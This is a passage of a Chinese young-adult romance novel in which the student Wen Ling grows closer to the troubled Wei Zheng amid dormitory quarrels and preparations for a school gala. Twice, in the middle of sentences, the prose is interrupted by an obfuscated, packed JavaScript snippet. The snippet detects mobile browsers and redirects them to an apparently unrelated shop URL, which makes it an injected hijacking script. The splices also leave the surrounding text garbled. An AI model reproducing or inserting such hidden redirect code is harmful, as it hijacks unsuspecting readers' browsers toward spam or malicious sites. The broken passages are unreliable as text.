“你、做、梦!”她把用完的纸巾揉成团扔进垃圾桶里,仰着头一字一顿地对他说,说完没忍住又绽开了笑容。 她说完就要走,他上前一步拦住她的去路,把手递到她面前,掌心向上,毫不客气地说:“这么恩将仇报?把刚才用我的纸巾还我。” “真想要?”她伸手指向脚边的垃圾桶,笑意盈盈地对他说,“在里面啊,想要的话你自己翻。” “闻灵你……”蔚铮被气得不行,话没说完,摊开的掌心里突然被放进了一颗糖,白桃味的。 “刚刚,谢谢你帮我解围。”她开口打断他,从校服口袋里拿出一颗糖,轻轻地放在他的手心上,“我只带了这个,当作谢礼。” “什么谢礼啊?这么小一个。”他低声嘟囔,却小心翼翼地把糖纸拆开,把糖放进了嘴里。 “好吃吗?”她亮着眼睛问他。 “还行吧。”他嚼着糖含糊道,“太甜了,齁得慌。” “那你别吃了,把糖还我!”闻灵学着他的样子耍无赖,也向他摊开了手掌。 他被气笑了,扯了下唇角说:“还挺霸道。” “要糖没有,用这个抵了。”他突然伸手,从校服口袋里拿出一盒止咳药放进她的掌心里。 她愣住了,一脸惊讶地抬起头看他。 “这是我中午去市医院开的止咳药,比你从医务室拿的那个药管用。别吃你那个了,吃我这个。”他认真说。 “你中午怎么出去的?主任这两天查得这么严,你翻墙没被抓?” “我技术这么高,怎么可能被抓?” “哦。”她不留情面地拆穿他的谎言,“技术这么高,裤子还脏成这样……” “我这不是看他要过来了,心里一着急,不小心摔了一跤吗?”他马上弯腰拍了几下裤脚上的尘土,叹气道,“就沾上这么点儿土,这都能被你嫌弃。” “药是干净的啊,不许因为嫌弃就不肯吃!” 她笑了,弯着眼睛看着眼前凶巴巴又絮絮叨叨的少年,心里不禁泛起了浓浓的暖意。 或许生活的确是一张残缺破损的纸,但幸运的是,有人愿意为她去修修补补。 虽然,这个人有点霸道和嚣张,还有点笨笨的。 不过没关系,她已经觉得很满足了。 11. 孤单 她宁愿要真实的孤单,也不想要虚假的陪伴。 * 晚上放学,闻灵跟闻清和林惊野一起在校外的餐馆里吃晚饭。 餐馆里实验中学的学生很多,因为三人的长相实在过于出挑和吸睛,引来了不少正在等餐的学生们的注目与围观。 时间仿佛又回到了他们三个形影不离、无话不谈的小时候,回到了小学五年级的那场意外发生以前。 所有看似永远不会改变的东西,其实早就已经被时间悄无声息地改变了。 她不再是小时候那个永远无忧无虑的,可以肆无忌惮地享受着所有偏爱的闻灵,现在的闻灵变得越来越独立,越来越坚强,也开始有越来越多的顾忌,越来越多的考虑。他们依旧是她生命中最为重要的两个人,她却在他们面前学会了掩饰和隐藏。 小时候,和他们在一起的那些时光里,她什么都不会去多想。她觉得自己永远不会感受到孤单,因为他们会永远陪在她身边,在任何她需要他们的时候出现。 现在和他们在一起的时候,明明周围许多人都向她投来了羡慕的目光,她却依旧觉得很孤单。心里那块空落落的地方似乎并没有因为闻清的到来而被填满,虽然她真的很开心很开心,闻清能够再次回到她身边。 不知道从什么时候起,每每感觉到自己心里那块空下来的地方时,她开始下意识地想到另一个人。 她开始下意识地猜测他现在在哪里,正和谁在一起,有没有吃晚饭,会不会在这家餐馆里突然出现。 时间在他们三人的叙旧交谈中不知不觉地流逝,闻清结完账后,她正准备和他们一起回学校,忽然注意到郭旭和乔诗燕出现在了餐馆附近的巷子里。 两人好像发生了争吵,针锋相对,僵持不下。 “我去找个同学。”她有些担心乔诗燕,急声对闻清和林惊野说,“你俩先回去。” 见闻清不放心,她补充道:“是个女生,她和你们一起走会不自在,你们先走吧。” 闻清这才点头答应。 闻清和林惊野离开后,闻灵气喘吁吁地跑进巷子,冲着乔诗燕焦急喊道:“乔诗燕!” “怎么回事?”她边捂着膝盖喘气边问。 “灵灵!快救我!”乔诗燕带了哭腔,飞快地躲到她身后。闻灵下意识上前一步将乔诗燕挡住,抬头看向郭旭:“你要干什么?” “和你没关系。”郭旭显然不想跟她多说什么,伸手去拽乔诗燕的胳膊。 乔诗燕挣扎躲避,郭旭却不肯松手,闻灵在中间阻拦,不小心跌倒在地,手掌被沙子磨破了皮。 “灵灵!你没事吧?”见郭旭终于松手,乔诗燕连忙蹲到她面前,急声问道。 “没事。”闻灵咬紧嘴唇,忍痛问她,“到底怎么回事?” “她冤枉蔚铮。”郭旭咬咬牙说,“今天中午她把手机落在教室了,回班之后没找到,非说是蔚铮偷的。就因为你们班吴益平说看见蔚铮今天中午翻墙出学校了,他还说蔚铮这段时间总去你们班门口待着,就是在挑目标下手。” “后来我们班班主任一问,才知道是你们班老师把她的手机收起来放办公室了。” “吴益平我已经教训过了。至于她,我只是想给她个警告,让她去跟蔚铮道歉。” “我道歉!”乔诗燕急忙说,“我现在就去给他道歉!这样总行了吧!” “我……我先走了!”见郭旭不再吭声,乔诗燕把话说完,抱起书包匆匆离开。 闻灵眼睫颤了颤,心里忽然很不舒服。只有她自己知道,无论是今天中午他翻墙出学校还是最近他总来一班,其实都是因为她。 掌心传来一阵刺痛,她垂眸看向手掌上的血痕,正想找纸巾擦一下,手腕却被人一把抓住。 “别乱蹭,小心感染。”郭旭沉着脸说,“跟我进来。” 她跟着郭旭走进身后的网吧,这才得知这家网吧是郭旭家里开的。郭旭说,初中的时候蔚铮经常来他家网吧通宵,每次都坐在那个靠窗的座位上。 “初三那年,蔚铮为什么突然不上学了?” 她想起了那时候蔚铮的突然消失,也想起了那些说他停课辍学的传言。 “他爸打他,每天晚上都打。凌晨他带着一身的伤没地方去,就来我家网吧睡觉,时间久了,也就没什么心思上学了。”郭旭一边说着,一边用棉球浸透消毒酒精按在她的伤口上。她疼得“嘶”了一声,下意识缩手向后躲,心脏像被什么东西猛烈撞击了一下,眼眶竟然泛了红。 “对不起。”郭旭低声说,“我没想让你受伤。” “蔚铮知道了肯定得揍我。祸是我惹的,揍就揍吧,我认。” 见他一副垂头丧气的模样,闻灵不禁笑了,主动安慰他:“你放心,他不会知道的,我不告诉他。” 郭旭怔住了,眼里涌动起某种异样的情绪,又很快平复下来。 “你和你们班那群人一样,也挺看不起阿铮的吧?”郭旭忽然冷笑一下,开口问她。 “我没有。”她说,“以前我确实对他不够了解,但现在我正在试图了解他。我是真的想和他做朋友。” “你和他做朋友?怎么可能?”郭旭嗤笑一声,把酒精棉球扔进垃圾桶,“你和他根本就不是一个世界的人,简直痴心妄想。” 闻灵被他气得不行,转身就要走,被他在身后喊住。 “今天害你受伤,是我的错!” “以后有任何事需要我帮忙,你尽管开口!”他冲着她的背影喊,“不管你让我帮你做任何事,我都会答应你!” 闻灵脚步一颤,没回头,握紧双拳推门离开。 * “你今晚是故意去帮他的吧?就因为他是蔚铮的朋友?”晚上回到宿舍,她刚一进门,就被乔诗燕拦住质问。 “我是去帮你的。”她说。 “你觉得我会信吗?” “信不信随你。”她淡淡道。 “灵灵,你什么时候能不这么天真?” “蔚铮他是什么样的人你难道不比我更清楚吗?八中的那群人都说他不是什么好东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648288|206818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,人品低劣,没有教养,什么坏事都干得出来!你们根本就不是一个世界的人,我劝你别和他走太近!” “你也说了,那些都是他们说的,他们说的未必是真的。”闻灵语气平静。 “当然是真的!他们还说他整天勾三搭四,身上的绯闻就没断过!初二那年他和八中的校花早恋,初三上学期,那个女生转学了,他甚至想辍学去追人家!” “其实我觉得,每个人还是更关注自己的生活比较好,而不是总要通过传别人的闲话来制造谈资。” “七中不是也传我早恋吗?从初中传到现在,传得和真的似的。你明明知道那些谣言都不是真的,但还是和他们一起传,不是吗?” “闻灵,你这样说话未免也太过分了。”乔诗燕被气得说不出话,“难怪高莎她们说你挺能装的,以前我还不相信。” “我和高莎不熟,转来咱们班之前我也不认识她。但我们是初中三年的同学,你为什么要从高莎口中了解我是个什么样的人呢?” “因为我看不透你!”乔诗燕嘴硬争辩,“闻灵,你知不知道你这个人其实特别假?” “从初中我认识你开始,我就发现你对谁都好,看上去好像把每个人都当朋友,但实际上你永远什么事都自己拿主意,和每个人都保持着距离。” “一开始我还觉得你人好,不像某些和你一样家里有钱的女生那样喜欢炫富、摆架子,瞧不起别人。但后来我发现你只是看上去和每个人都很亲近,说白了就是装样子,根本没有人能看透你真正在想什么。” “渐渐地,我终于意识到原来你和那些女生根本没什么区别,也根本没有看上去那么完美、那么好。” “你只是比别人更能装罢了。” 听完乔诗燕的一番话,闻灵没再继续开口为自己辩解,而是淡淡地笑了,笑容里满是疲惫的释然。 或许乔诗燕所说的话并没有错,她想。 她平时在学校里的确很喜欢独来独往,凡事靠自己,不愿意麻烦别人,也的确很少会向他人袒露心扉,没有一个可以交心或者形影不离的好朋友。但她对待周围的每一个人始终都是真诚的,友善的,这一点她绝对可以保证。 然而哪怕她永远友好待人,从来不摆架子,却还是被很多表面对她同样态度友好的人背地里议论,抓住她每一个细微的表情和不经意间的小动作来编排她的行为动机,判断她是一个怎样的人,把莫须有的谣言坐实,甚至刻意添油加醋,以此来证明她从不像其他人眼中看到的那么完美无缺。 她觉得疲惫不堪,不仅仅是因为这些藏在背后的编排,更是因为当她们转身面向她时,又会恢复一副热情友好的姿态,自动戴上微笑的假面。 今天,乔诗燕终于主动把假面摘了下来,反倒让她觉得轻松和释然。 虽然这样也会让她更加孤单。 但也许从小到大,她完美主义的习惯一直不曾改变,人生中所追求的也从来都只是单一纯粹的白。 她宁愿要真实的孤单,也不想要虚假的陪伴。 12. 朋友 这样横冲直撞、不计后果的陪伴,不是她不屑于需要的那种虚假的陪伴。在此时此刻,它是如此真实。 * 第二天中午,闻灵独自来到食堂打饭。 她端着餐盘在密密麻麻的人群中寻找座位,看到乔诗燕和同寝室的另外两个女生所在的餐桌上有一个空位,脚步一顿,发现自己并没有想要坐过去的念头。 不再苛求人际关系上的完美算不算某种意义上的成长? 她忽然想到,小时候的闻灵坚信自己可以得到身边所有人的喜欢,于是把全世界唯一不喜欢她的蔚铮视作自己的眼中钉和生活里的不速之客,是多么可爱和天真。 她经常会怀念小时候的闻灵。 在她一步步揭开人心上笼罩的虚假面纱,因此变得越来越孤独、越来越不快乐的这些日子里。 她继续环顾四周,发现后排角落的位置上,陈寂正在一个人吃饭,对面的座位刚好是空的。虽然在班里和陈寂的交集不多,但她一直很喜欢这个女孩子,也很希望能有机会和她一起聊聊天。 她脸上露出笑容,心情终于好了很多,正想走过去,却差点被一个突然跑过来的女生迎面撞倒。女生的餐盘掀翻在她身上,饭菜的汤水和油渍淋了她一身。 “没事吧灵灵?我不是故意的!是高莎在后面追我,我没顾上看路,不小心撞到你了!” “没事。”闻灵抬头,看到面前的人是同班的女生尹佳珊。 她没说什么,垂头扫了眼被弄脏的校服外套,把手里的餐盘放在一边,将外套脱了下来。 “我拿回寝室帮你洗吧!”尹佳珊愧疚说道。 她摇头:“我自己洗就行。” “怎么回事?”正在检查食堂纪律的值周生路昊宇走过来问。 “昊宇哥,灵灵的校服被我不小心给弄脏了,得拿回寝室洗。下午你检查校服的时候可千万别为难她……” “冷不冷?把我的外套给你?”路昊宇突然看着闻灵说。 尹佳珊闻言脸色一变,不可置信地看向了路昊宇。 路昊宇是这届高二的学长,也是和尹佳珊一起长大的青梅竹马。尹佳珊从小就喜欢路昊宇,这件事几乎—班所有女生都知道。 然而没有人知道的是,路昊宇也曾是小学那群挑衅过林惊野的男生之一,闻清还因此动手和他打过架。 小学时路昊宇就喜欢向她献殷勤,初中的时候甚至向她表白过,被她拒绝后恼羞成怒,放学后把她堵在学校门口质问她自己到底有哪里比不过林惊野,又到底有哪里配不上她。 这些都是尹佳珊和一班的女生们不知道的事。 回想起来,那天还是蔚铮误打误撞地突然路过,误打误撞地泼了正在纠缠她的路昊宇一身汽水又不肯道歉,误打误撞地让她得以脱身离开,事后却被路昊宇向教导主任反告了一状,说八中的蔚铮每天放学后都要来七中门口欺负同学。 他什么时候欺负同学了? 他只不过是来七中门口喝个汽水,顺便见义勇为了一下。 闻灵在心里默默反驳。 见她不接自己的话,甚至连看都不看他一眼,路昊宇识趣地走开了,留下了愣在原地和她面面相觑的尹佳珊。 尹佳珊眼中的愧疚早已因为路昊宇的一句话转化成了敌意,闻灵没有说什么,拿起餐盘转身离开。 * 闻灵坚信路昊宇会借机生事,果不其然,下午第一节课开始前,她刚走到教学楼门口,就看到了抱着值周生记录表正在检查学生校服的路昊宇,和一旁背着手脸色极差的李主任。 听周围几个路过的学生说,今天李主任是被路昊宇特意喊过来的。路昊宇说最近总有人找各种借口不穿校服,屡教不改,甚至有人仗着自己成绩好觉得不会被罚,让李主任过来严查。 她不想去找李主任辩解什么,被其他同学认定为搞特殊,只是淡淡瞥了路昊宇一眼,讽刺地笑了笑,主动走到墙边罚站。 没站多久,她就看到了朝着教学楼晃晃悠悠走来的蔚铮。 过去九年里从来不肯穿校服的叛逆少年,现在竟然已经被她强行养成了习惯,每天都穿着一身整齐的校服,胸牌也一直戴在胸前没有摘。 她知道他为什么肯乖乖听她的话。 因为只要他敢不听她的话,她就会威胁他。他拿她没办法,明明浑身上下都长满了刺,却偏偏一面对她就会哑火,对着她连一点脾气都不敢发。 想到这里,她不由自主地笑了,心里的不开心忽然缓和了许多。 “你校服呢?”见她没穿校服,蔚铮愣了一下,立刻走到她面前问。 “中午不小心弄脏了,洗了。” “回班!真以为自己扛冻?”他皱起眉说。 她摇头,目光指向了站在不远处的路昊宇。 “他敢为难你?”蔚铮说着就要去找他,被她急忙拦住。 “主任今天心情不好,你别惹事!”她焦急嘱咐他,又补充道,“我今天穿得挺多的,不冷。” “所有没穿校服、没带胸牌的,现在都给我出去跑两圈!跑完再回来上课!”李主任的声音刚好在此时响起。 “我去跑了,你快回班吧。”她话音刚落,突然注意到蔚铮把身上的校服外套一脱,随手扔到了身后的窗台上。 “你干什么?”她睁大了眼睛,惊讶问他道。 “陪你呗。”少年唇角扬起了一抹笑意,一把抓住她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648289|206818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手腕,拉着她大步朝操场上跑去。她猝不及防被他拽得一个踉跄,满脸惊讶地看着他,脚步却出于本能迈得飞快。 周围的同学们纷纷向他们投来八卦好奇的目光,她心里不自在,下意识想要挣开他的手,可他却不肯松手,反而将她的手腕越握越紧。 她怔怔注视着少年向前飞奔的身影,突然觉得浑身上下都特别轻松,仿佛所有的重担都在一瞬间被卸下去了,所有的烦恼也都在这一刻烟消云散了。 鼻尖蓦地一阵发酸,她的眼眶忽然有点湿。 明明她昨天才刚在心里认同乔诗燕对她说的那一番话,也认定了自己的确像乔诗燕所说的那样不肯向任何人袒露真心,所以注定交不到知心的朋友……她不想去辩解和奢望些什么,可蔚铮却偏偏在这个时候出现了。 这样横冲直撞、不计后果的陪伴,不是她不屑于需要的那种虚假的陪伴。在此时此刻,它是如此真实。 “你傻吗?”跑完步后 ,他们并肩坐在操场上,闻灵摸着自己因为血液沸腾而绯红发烫的脸颊,蹙眉看着他问,“跑圈很好玩儿?” “好玩儿啊,反正比在教室里上课好玩儿。”他双手撑在身后,喉结轻滚,唇畔含着笑意,一脸无所谓地说。 她被气笑了,重重敲了他的脑袋一下。 “又动手打人?”他捂着额头冲她喊,“打傻了你负责?” “已经够傻了,还能更傻吗?”她说完,笑容灿烂地站起身,快步朝教学楼走去,直到进班时,脸颊都依旧滚烫发热,心脏也还在砰砰直跳。 上课铃响后,她的脑海中还盘旋着蔚铮脱掉校服牵起她手腕的那一幕,心里像灌了蜜一样甜,没忍住弯起了唇角。向来能够迅速专注下来的她,忽然在物理课上走了神,嘴角止不住地上扬着,被同桌女生提醒把笔记抄错了行。 “灵灵,我听说你和蔚铮以前关系不好。”同桌女生犹豫着问,“你们现在……” “我们现在和好了。”她带着笑意回答。 “那你和他算是朋友吗?”同桌女生接着问道。 她握笔的动作一顿,下意识陷入沉思,想起了郭旭对她说过的那些话。 从小学的时候她就知道,蔚铮的身边从来都不缺朋友。他拥有一个属于他自己的朋友圈子,每到晚上或周末就会和一群人厮混在一起。那个圈子里鱼龙混杂,那些能称得上他朋友的人,她一个都不了解,也一个都不认识,他们离他的世界很近,却离她的世界很远。 但,她忽然很希望自己也能成为他的一个朋友。 不知从何时起,他早就已经成为了她心里认定的那个最特殊的朋友。 “应该还不算,”她笑着说,“我还得继续努力。” 13. 元旦晚会 你来看我跳舞吧,我希望那天可以看到你。 * 时间一晃而过,转眼临近新年。 学校在今年开始筹备各年级的元旦晚会,得知闻灵有舞蹈特长,班主任赵雅淑特意把她叫到办公室,希望她可以代表班级报名元旦晚会的舞蹈节目。 自从小学五年级的那场文艺汇演结束后,闻灵已经再也没有上台跳过舞了。 她一直都很热爱跳舞,无论爸妈怎么阻止反对,她都依靠自己坚持了下来。这份小小的爱好承载了她最大的自信和骄傲,她曾经不止一次地想过,如果哪天她遇到了自己喜欢的人,那她一定要把全世界最好看的舞跳给他看。 然而面对赵雅淑的询问,她还是陷入了迟疑。闻清的腿伤是她至今都不愿面对更无法解开的心结,她知道,就算没有妈妈对她的指责,这份伤痛也永远不可能复原。 “校领导很看重今年的元旦晚会,节目如果能拿奖,班级会有加分。” “咱们班这学期拿到的加分实在太少了,你就帮老师一次吧,闻灵。” 重压之下,闻灵只好勉强答应。赵雅淑如释重负,笑眯眯地拍着她的肩膀鼓励她,坚信她一定能为班级争光。她觉得心虚,因为自己实在太久没上过台了,如果再不抓紧时间练习的话,退步是必然的。 走出办公室,闻灵向音乐老师借来了学校顶楼舞蹈教室的钥匙,想利用放学后的时间去舞蹈教室练舞。音乐老师告诉她,舞蹈教室在放学后可以使用,但必须注意安全,不能一个人留到太晚。 中午在食堂里,闻清打来电话问她:“元旦晚会报节目了吗?” “报了。”她说。 “什么时候去练?我陪你去。” “不用。”她鼻腔倏地一酸,立刻仰起头微笑着说,“我们班主任说马上就期末了,不让我们花时间练,等彩排的时候熟悉几遍就行了。” “行。” “对了,我去国外复查的时间定下来了,31号下午的飞机。”他说,“正好能陪你过完生日,看完你的节目再走。” “你的腿……现在还会疼吗?”她咬咬嘴唇,犹豫着开口问。 闻清愣了一下,随后笑起来说:“都过去多久了?怎么可能还会疼?瞎操心什么呢?” “倒是你,自己跳舞的时候注意点儿,别受伤让我担心。” 她也笑了,点头说好,鼻腔却越来越酸,泪水在眼眶里打转。 她拥有着全世界最好的哥哥。 无论过去发生再多的事情,这一点她从来没有否认过。 * 晚自习结束后,闻灵背上书包,独自来到了教学楼顶楼的舞蹈教室。这层走廊的电灯坏了,旁边几个杂物间都上了锁,走廊过道里堆满了结着蜘蛛网的废弃桌椅,像极了悬疑电影里阴森恐怖的镜头画面。 她摸到舞蹈教室墙上的开关,把室内的吊灯打亮,终于稍微松了口气,发现自己的手心已经渗满了汗。 其实她并不怕黑,真正让她感到害怕的,是无人陪伴的空荡寂静的黑夜。所以她小时候从来不敢独自在晚上出门,每次想练舞都让闻清陪她一起去,只要有闻清在她身边,哪怕走再深再黑的夜路,她都一点也不害怕了。 以后,她应该再也不会让闻清陪她走那么深那么黑的夜路了吧? 她学会了欺骗,为了躲避他的关心和陪伴。 可他也欺骗了她,骗她说自己的腿不会疼。 怎么可能会不疼呢? 在他们分开后的这些年里,她根本不敢去想象他有多疼。 她根本不敢去想。 她没有拆穿他的谎言,用微笑掩饰心酸,在心里小心翼翼地筑起一道堡垒,把他和自己远远地隔开。好像只要把这层堡垒建造起来,她就真的再也不会像小时候一样那么依赖他,可以变成一个真正足够强大的人。 强大到可以独自一个人去对抗孤单。 强大到再也不需要来自任何人的陪伴。 闻灵把书包放在门口的置物架上,正准备熟悉舞蹈动作,突然听见门外传来了一阵凌乱急促的脚步声。保安已经清过楼了,为什么还会有人来? 她的心脏不受控制地骤然收紧,心跳也下意识地开始加快,拿出装在书包侧面的保温杯,悄悄打开了一条门缝。在黑暗中,她隐约瞥见一道鬼鬼祟祟的人影,于是闭上眼举起保温杯就往对方头上砸。 直到手臂被人一把抓住,她才缓缓睁开眼,看到蔚铮捂着额头一脸匪夷所思地盯着她,脸上的表情又惊又气。 “你怎么来了?”她完全没有想到会是他,连忙拨开他的手去查看他的额头,“没事吧?疼不疼啊?” 蔚铮被气笑了:“连人都没看清,上来就打?” “我刚刚有点害怕,对不起。”她小声道歉。 “知道害怕还这么晚一个人来这破地方待着?万一真有危险你打算怎么办?用你这个破保温杯打?”他咄咄逼人,没好气地质问她。 她心里一阵委屈,鼻尖涌起酸涩,没再吭声。他冷着脸越过她走进舞蹈教室,一屁股坐在地板上,抱着双臂一言不发。 闻灵抿抿唇,向四周环顾了一圈,发现窗台上放着瓶矿泉水。因为没关窗,矿泉水的瓶身冰凉,她连忙走过去,拿起矿泉水递给他,说:“你冰敷一下吧。” “你怎么自己一个人过来了?没找个人陪你?”他接过她手中的冰水按在额头上,垂眼看着她问。 她没再说话,抱住膝盖轻轻别过头,努力憋住了眼泪。 “哭了?”蔚铮探过头来看她的脸,她终于再也忍不住,把头埋进膝盖呜呜哭了起来。 “真哭了?”少年语气明显急了,边拽她的胳膊边说,“我说错话了,你别往心里去。” “要不你再打我一下?” 她用力挣开他的手,依旧埋着头啜泣呜咽。 “你想听歌吗?”沉默许久过后,他突然在她耳边轻声开口,问她,“要不然我给你唱首歌吧,这样你心情会不会好一点?” “想听哪首?” 她忽然止住了眼泪,满脸泪痕地抬起头,眼睛一眨不眨地安静注视着他。 “我想听《珊瑚海》。”她带着鼻音,含糊哽咽地问,“可以吗?” “这首不可以。”他顿了顿,拒绝道。 “为什么?”她问。 “没有为什么,我不想唱。”他没什么情绪地说。 “那不用了。”她不再说话,继续埋下头,双臂环抱着膝盖,把下巴抵在了交叠的手臂上。 她为什么要对蔚铮提出这样强人所难的要求呢?她在心里问自己。 明明他什么都没有做错,还好心好意地跑过来陪她。 她不应该把自己崩溃压抑的情绪不分青空皂白地发泄在他身上。 “你准备在这儿练几天?”她心中正懊恼,蔚铮突然再次开口,打断了她的思绪。 “三天。”她答。 “明天放学我直接过来找你。”他说。 “不用了。”她拒绝道,“有人在旁边看着我练舞,我会不习惯。” “你哥以前不是天天陪你练吗?换成是我就不行了?” “嗯。”她本能地脱口而出,甚至没来得及让他把后面的话说完。 “行,明白了。”许久的沉默过后,他无奈地耸了下肩,起身就要走。 见他准备离开,闻灵喉咙一紧,忽然很想问问他能不能再陪自己待一会儿,但又想到刚刚是自己拒绝他在先,抿了抿唇,把想说的话咽回了喉咙里。 她觉得自己真的很过分。 蔚铮是无辜的,他没有义务事事都惯着她,更没有义务被她召之即来挥之即去。 连关系最亲密的朋友之间都做不到这样,更何况他们现在连朋友都还算不上。 “我就坐在门口的椅子上,有事记得喊我!”少年走到门边时,突然停住脚步,转头冲她喊了一声。 她恍惚抬起头,呆呆愣在了原地。 “坐门口也不行?”瞧见她的反应,他没忍住笑了,侧头扬了扬下巴,“那我蹲楼道里?” 她被气得破涕为笑,悄悄瞪了他一眼,心里却暖烘烘的,仿佛在寒冷的冬日里被一捧温水兜头浇下来,将她全身上下都淋得滚烫。 自从和他重逢之后,闻灵在不经意间发现,他好像总是会在她需要陪伴的时候突然出现。 有时候她能够看见他,有时候他藏在她看不见的地方。 但他好像永远都不会离开。 似乎只要有他在,她就永远都不会感觉到孤单。 * 坐在门外的蔚铮并不消停,时不时地就会弄出点小动静。他翘着二郎腿靠在椅背上,腿下的椅子咯吱作响,黑色的鞋尖总是在门缝里一晃一晃的,让她无意中瞥上一眼就觉得安心。 不知道为什么,她练习得更加卖力了,对每一个动作的要求都变得格外高。或许是因为,她忽然很想让这个守在门外的家伙看一看她站在舞台上的样子。 记忆被拉回到小学时的那场文艺汇演,那天她站在舞台中央,看到他因为迟到被教导主任拽到了观众席第一排的座位上,却根本没认真看她跳舞,脸上还摆出一副冷淡轻蔑的表情,好像她跳的舞一点都不吸引人一样。 她必须要让他重新再看一次。 这次她一定要把这场舞跳得特别完美,让他看她看到根本移不开眼。 * 在强烈胜负欲的驱使下,闻灵不知不觉练习到了很晚。时间将近凌晨,她拿起书包推开门,发现蔚铮坐在门口睡着了。 少年睡得很深,闻灵没舍得把他叫醒,轻轻放下书包蹲在他面前,安安静静地看着他睡。 她忽然发现他乖乖睡觉的样子很好看。 其实只要他不开口说话惹她生气,他平时的每副样子都挺好看的,让她愿意就这么一直专注地看着他,舍不得移开眼睛看向别的地方。 昏黄幽暗的走廊灯光下,少年颈侧的皮肤白得过分,让人很难不注意到下面那道略显狰狞的暗红色疤痕。 目光骤然间被刺痛,鬼使神差般的,她缓缓凑近,忽然很想看看他身上还有没有其他伤疤。然而当她倾身向前,正准备把他的校服袖子往上捋时,他却突然惊醒,下意识制止了她的动作。 “怎么了?”发现眼前的人是她,他一愣,连忙放轻声音问。 “没,没事。”视线猝不及防地相对,她脸颊迅速泛红,心脏扑通乱跳,慌忙和他拉开了距离。 “我想叫醒你。”她心虚地补充了一句。 “走吧,回宿舍。”他说完站起身,拎起她放在一旁的书包。 “我自己拿吧。”她说。 “不用。”他拒绝道,“外面太冷。” 见他坚持要帮自己拿书包,闻灵无奈之下没再阻止。两人一路沉默着走出教学楼,迎面袭来的冷风涌入肺腑,她重重抖了下肩膀,习惯性地把下巴埋进衣领,又将双手缩进袖口插进了口袋里。 他盯着她一连串的动作,皱了下眉问:“你没戴围巾和手套? “我没买。”她打着哆嗦说,“没想到这两天突然这么冷,还没来得及买。” 他没再接话。 寂静寒冷的冬夜里,闻灵突然从校服衣领里抬起头,伴随着隐约加快的心跳声,眨着眼问他:“元旦晚会那天,你会来看我跳舞吗?” “你希望看到我吗?”他挑眉,看着她问。 怎么是反问?他就不能直接回答她吗? 不想来就算了。 她忽然有点生气,转回头不理他,闷声 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曾经他们年纪小,互相不了解,彼此之间针锋相对,误会重重,让她本能地一次又一次说出了这句伤人的话。可事到如今,她再次对他说出这句话时,心里却突然如同针扎刀割一般难受。 只要一想到这句话会刺伤他,她的心脏就会先一步不受控制地猛烈疼起来。 走到女生宿舍楼下,他把书包递给她,正要转身离开时,她忽然大声喊他的名字。 “蔚铮!” 他怔怔抬头,朝她看过来,脸上的表情无比惊讶。 听到闻灵的喊声,周围路过的女生们纷纷好奇驻足,无一不神情错愕,八卦兴奋地朝他们的方向看了过来。 “那不是闻灵吗?” “她喊的那个男生是谁啊?高几的?哪个班的?” “你快看!他好帅啊!” 闻灵迎着她们的视线,没有丝毫掩饰和躲闪,踩着路上的积雪大步跑回他的面前。 “你来看我跳舞吧,我希望那天可以看到你!” “30号晚上七点大礼堂见。我等你,不见不散!” 她说完就走,脚步越来越快,脸颊也越来越烫。走进宿舍楼大门的时候,她偷偷转过头,发现有几个男生正嬉皮笑脸地凑到蔚铮身边调侃,朝他身上不断推搡着,追着他问东问西。他没发脾气,而是依旧呆愣在原地神游,对周围几个男生的打闹推搡无动于衷,仿佛浑然不觉。 四周冰天雪地,寒冷刺骨的狂风又一次灌进她的衣领,掀起一阵透心凉,她却莫名觉得浑身上下都热得不行,心底忽然涌上了一种难以形容的温暖与快乐。 原来把自己真正想说的话勇敢地说出来,竟然会让人这么快乐。 * 音乐老师在检查排练的时候告诉闻灵,她的舞蹈表演会被安排成最后的压轴节目。 听说校领导非常重视这次的元旦晚会,专门拿了一大笔经费发放给各班,让大家用来租演出服装和舞台道具。化妆师也是音乐老师从专业的美妆工作室高价聘请的,不仅化妆经验丰富,对发型设计和穿衣搭配也很有自己的审美和见解。 “这个小姑娘的皮肤实在太好了。” 化妆间里,化妆师一边给闻灵化妆,一边对站在旁边的音乐老师说:“你说现在的小孩皮肤怎么都这么白?我刚刚在隔壁化妆间看到的一个男孩也是,长得可帅了,皮肤也特别白。” “你瞅瞅咱们,都被晒成啥样了?”化妆师一边说着,一边用大大小小的刷子在她的脸上涂涂抹抹。等到唇釉涂完,就只剩下发型还没有弄。 “头上要是有个装饰的话,效果肯定不错。”给她扎完头发后,化妆师打开自己带来的化妆箱,在琳琅满目的饰品盒里扒拉了几下,忽然抬起头问,“你演出穿的裙子长什么样?给我看看!” 闻灵站起身,把挂在衣柜里的白色芭蕾舞裙拿了出来。 化妆师拎着裙子端详了一会儿,眼睛一亮说:“有了!” 她从首饰盒里取出一条挂满了铃兰花吊坠的发绳,闻灵看了看,发现它比她自己平时扎头发用的发绳要长很多,做工也精细很多。 化妆师帮她把铃兰花发绳缠在头发上,又帮她换上裙子,全部收拾完毕后,她正要回班,被化妆师开口叫住:“你等一下,我拍个照!” “太好看了!”化妆师看着相机里的照片感叹,“我拍张照留着自己欣赏!” 闻灵笑了,向化妆师道谢,转身走出化妆间时,突然和一个从隔壁化妆间里走出来的身影撞上。 “女神?” 蒋烨惊讶地愣在原地,睁大眼睛看着她说:“你这妆,还有这裙子……这也太好看了吧?简直比明星还好看!” 